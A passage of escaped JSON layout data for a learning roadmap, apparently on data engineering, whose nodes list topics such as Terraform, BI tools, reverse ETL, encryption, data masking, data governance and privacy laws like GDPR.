\"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"sMhuDjih8ECp5aD8NgrHz\"\n      },\n      \"zIndex\": -999,\n      \"width\": 274,\n      \"height\": 290,\n      \"style\": { \"width\": 150, \"height\": 100 },\n      \"measured\": { \"width\": 274, \"height\": 290 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"70b270MiOx6rs8YPTO5WG\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 172.70421123306187, \"y\": 4005.277343432695 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Common Tools\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"leKeGA9-3oHnCRyCkTa-7\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 129, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"N-xRhdOTHijAymcTWPXPJ\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 120.20421123306187, \"y\": 4053.6423431803933 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Terraform\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"fTpx6m8U0506ZLCdDU5OG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": { \"width\": 175 },\n      \"measured\": { \"width\": 239, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"WdlC0HhJ5YESfjXmdMnLU\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 120.20421123306187, \"y\": 4106.642343180393 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"OpenTofu\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ERcgPTACqYo9BXoRdLjbd\"\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": { \"width\": 175 },\n      \"measured\": { \"width\": 239, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"OKJ3HTfreitk2JdrfeLIK\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 120.20421123306187, \"y\": 4159.642343180393 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"AWS CDK\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"uIU5Yncp6hGDcNO1fpjUS\"\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": { \"width\": 175 },\n      \"measured\": { \"width\": 239, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"1A98uTo8l_GQSrFxu5N2X\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 120.20421123306187, \"y\": 4212.642343180393 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Google Deployment  Mgr.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"uFeiTRobSymkvCinhwmZV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": { \"width\": 175 },\n      \"measured\": { \"width\": 239, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"wboTVTh9nCTIqXUYEOrkp\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -246.7574861060384, \"y\": 4054.277343432695 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Serving\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        },\n        \"oldId\": \"5jo-0U6f4iBagd1Lo4NAw\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 153, \"height\": 67 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"V30v5RLQrWSMBUIsZQG1o\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -711.6381872719935, \"y\": 4063.277343432695 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Analytics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jzsScqhz8Z0DLlk2gjVEl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 286,\n      \"height\": 49,\n      \"style\": { \"width\": 300 },\n      \"measured\": { \"width\": 286, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"0kt0hgubGzsXr-TklJ0fp\",\n      \"type\": \"button\",\n      \"position\": { \"x\": -711.6381872719935, \"y\": 3997.777343432695 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Visit the Data Analyst Roadmap\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"backgroundColor\": \"#ffffff\",\n        \"borderColor\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 286, \"height\": 53 },\n      \"dragging\": false,\n      \"width\": 286,\n      \"height\": 53,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"zA5QqqBMsqymdiPGFdUnt\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -711.6381872719935, \"y\": 4116.2773434326955 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Business Intelligence\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tdqhFFvQ2dQVeQh1qTHjV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 286,\n      \"height\": 49,\n      \"style\": { \"width\": 300 },\n      \"measured\": { \"width\": 286, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"t5MRham_vg6uI8VKxJT4u\",\n      \"type\": \"label\",\n      \"position\": { \"x\": -605.8933960639342, \"y\": 4181.400748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"BI Tools\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 77, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"6Nr5FAGT_oOPZwZWdv7hl\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -696.8933960639342, \"y\": 4228.642343180393 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Microsoft Power BI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VQv-c7buU2l-IDzRZBMRo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 257,\n      \"height\": 49,\n      \"style\": { \"width\": 207 },\n      \"measured\": { \"width\": 257, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"FfU6Vwf0PXva91FoqxFgp\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -696.8933960639342, \"y\": 4281.642343180393 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Streamlit\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"bbwTKPHjGl08UiOqI9IiY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 257,\n      \"height\": 49,\n      \"style\": { \"width\": 207 },\n      \"measured\": { \"width\": 257, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"gqEAOwHFrQiYSejNUdV7-\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -696.8933960639342, \"y\": 4334.642343180393 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Tableu\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"bbwTKPHjGl08UiOqI9IiY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 257,\n      \"height\": 49,\n      \"style\": { \"width\": 207 },\n      \"measured\": { \"width\": 257, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"fY0eZzz0aTXm2lelk8l3g\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -696.8933960639342, \"y\": 4387.642343180393 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Looker\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"bbwTKPHjGl08UiOqI9IiY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 257,\n      \"height\": 49,\n      \"style\": { \"width\": 207 },\n      \"measured\": { \"width\": 257, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"JpuiYsipNWBcrjmn2ji6b\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -709.3933960639342, \"y\": 4524.400748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Reverse ETL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tdqhFFvQ2dQVeQh1qTHjV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 285,\n      \"height\": 49,\n      \"style\": { \"width\": 300 },\n      \"measured\": { \"width\": 285, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"LMFREK9dH_7qzx_s2xCjI\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -709.3933960639342, \"y\": 4609.642343180393 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"ETL vs Reverse ETL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VQv-c7buU2l-IDzRZBMRo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 285,\n      \"height\": 49,\n      \"style\": { \"width\": 207 },\n      \"measured\": { \"width\": 285, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"mBOGrJIUaatBe2PnJM2NK\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -709.3933960639342, \"y\": 4662.642343180393 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Reverse ETL Usecases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VQv-c7buU2l-IDzRZBMRo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 285,\n      \"height\": 49,\n      \"style\": { \"width\": 207 },\n      \"measured\": { \"width\": 285, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"p_J0YWx0VKTdCqtH-v9kL\",\n      \"type\": \"label\",\n      \"position\": { \"x\": -594.8933960639342, \"y\": 4727.900748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Tools\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 56, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"vZGDtlyt_yj4szcPTw3cv\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -692.3933960639342, \"y\": 4827.900748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Census\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VQv-c7buU2l-IDzRZBMRo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 251,\n      \"height\": 49,\n      \"style\": { \"width\": 165 },\n      \"measured\": { \"width\": 251, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"8vqjI-uFwJIr_TBEVyM_3\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -692.3933960639342, \"y\": 4880.900748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Segment\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VQv-c7buU2l-IDzRZBMRo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 251,\n      \"height\": 49,\n      \"style\": { \"width\": 165 },\n      \"measured\": { \"width\": 251, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"8NTe5-XQ5tKAWUyg1rnzb\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -692.3933960639342, \"y\": 4774.900748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Hightouch\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VQv-c7buU2l-IDzRZBMRo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 251,\n      \"height\": 49,\n      \"style\": { \"width\": 165 },\n      \"measured\": { \"width\": 251, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"j9mee1x94yu-qki7aLj21\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -240.7574861060384, \"y\": 4515.400748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Security\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"5jo-0U6f4iBagd1Lo4NAw\"\n      },\n      \"zIndex\": 999,\n      \"width\": 147,\n      \"height\": 67,\n      \"measured\": { \"width\": 147, \"height\": 67 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"HDVhttLNMLmIAVEOBCOQ3\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -309.7574861060384, \"y\": 4188.642343180393 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Authentication vs Authorization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tdqhFFvQ2dQVeQh1qTHjV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 285,\n      \"height\": 49,\n      \"style\": { \"width\": 285 },\n      \"measured\": { \"width\": 285, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"2PqRgrYuJi_pPhOS0AkoP\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -309.7574861060384, \"y\": 4241.642343180393 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Encryption\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tdqhFFvQ2dQVeQh1qTHjV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 285,\n      \"height\": 49,\n      \"style\": { \"width\": 285 },\n      \"measured\": { \"width\": 285, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"ZAKo9Svb8TQ6KkmOnfB5x\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -309.7574861060384, \"y\": 4294.642343180393 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Tokenization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tdqhFFvQ2dQVeQh1qTHjV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 285,\n      \"height\": 49,\n      \"style\": { \"width\": 285 },\n      \"measured\": { \"width\": 285, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"2Wu1Ufm2l1nrytz1mAxmJ\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -309.7574861060384, \"y\": 4347.642343180393 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Masking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tdqhFFvQ2dQVeQh1qTHjV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 285,\n      \"height\": 49,\n      \"style\": { \"width\": 285 },\n      \"measured\": { \"width\": 285, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"rUiYUV4ps6NYYYRwUnjuM\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -309.7574861060384, \"y\": 4400.642343180393 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Obfuscation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tdqhFFvQ2dQVeQh1qTHjV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 285,\n      \"height\": 49,\n      \"style\": { \"width\": 285 },\n      \"measured\": { \"width\": 285, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"IzILGY4xmKhs9gW90Hz2Z\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -284.2574861060384, \"y\": 4676.400748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Governance\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"5jo-0U6f4iBagd1Lo4NAw\"\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 57,\n      \"measured\": { \"width\": 234, \"height\": 57 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"cStrYgFZA2NuYq8TdWWP_\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 108.3079499418078, \"y\": 4443.400748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Quality\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tdqhFFvQ2dQVeQh1qTHjV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 265,\n      \"height\": 49,\n      \"style\": { \"width\": 285 },\n      \"measured\": { \"width\": 265, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"pKewO7Ef3GBXL4MDK62QG\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 108.3079499418078, \"y\": 4496.400748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Lineage\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tdqhFFvQ2dQVeQh1qTHjV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 265,\n      \"height\": 49,\n      \"style\": { \"width\": 285 },\n      \"measured\": { \"width\": 265, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"a5gzM8msXibxD58eVDkM-\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 108.3079499418078, \"y\": 4549.400748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Metadata Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tdqhFFvQ2dQVeQh1qTHjV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 265,\n      \"height\": 49,\n      \"style\": { \"width\": 285 },\n      \"measured\": { \"width\": 265, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"ghAbtfB5KtbboNjijL1Zf\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 108.3079499418078, \"y\": 4602.400748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Interoperability\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tdqhFFvQ2dQVeQh1qTHjV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 265,\n      \"height\": 49,\n      \"style\": { \"width\": 285 },\n      \"measured\": { \"width\": 265, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"iuNP6W0A2GLTE2PK5y68u\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 108.3079499418078, \"y\": 4655.400748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Quality\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tdqhFFvQ2dQVeQh1qTHjV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 265,\n      \"height\": 49,\n      \"style\": { \"width\": 285 },\n      \"measured\": { \"width\": 265, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"46SzVj1sCFNbxxb002lYl\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 75.20882216613953, \"y\": 4450.400748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.5 }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 255,\n      \"measured\": { \"width\": 20, \"height\": 255 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"6B10MXBAdm9SQoYQCKz4t\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": -52.192050058192194, \"y\": 4694.900748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.5 },\n        \"oldId\": \"gASVrTA40nPq5FSB-3spH\"\n      },\n      \"zIndex\": 999,\n      \"width\": 139,\n      \"height\": 20,\n      \"measured\": { \"width\": 139, \"height\": 20 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"5jo-0U6f4iBagd1Lo4NAw\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -238.33024547901266, \"y\": 4878.900748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Privacy\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"svOVvDERe3mmmA2qLjui3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 141,\n      \"height\": 60,\n      \"measured\": { \"width\": 141, \"height\": 60 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"MuPHohc7mJzcH5QdJ-K46\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 108.3079499418078, \"y\": 4831.400748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"GDPR\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"V2BXsn5AmC93PSW0HLMgi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 265,\n      \"height\": 49,\n      \"style\": { \"width\": 265 },\n      \"measured\": { \"width\": 265, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"g1VwuSupohuDAT2O4hTXx\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 108.3079499418078, \"y\": 4884.400748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"ECPA\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tdqhFFvQ2dQVeQh1qTHjV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 265,\n      \"height\": 49,\n      \"style\": { \"width\": 265 },\n      \"measured\": { \"width\": 265, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"tdqhFFvQ2dQVeQh1qTHjV\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 108.3079499418078, \"y\": 4937.400748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"EU AI Act\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jzsScqhz8Z0DLlk2gjVEl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 265,\n      \"height\": 49,\n      \"style\": { \"width\": 265 },\n      \"measured\": { \"width\": 265, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": 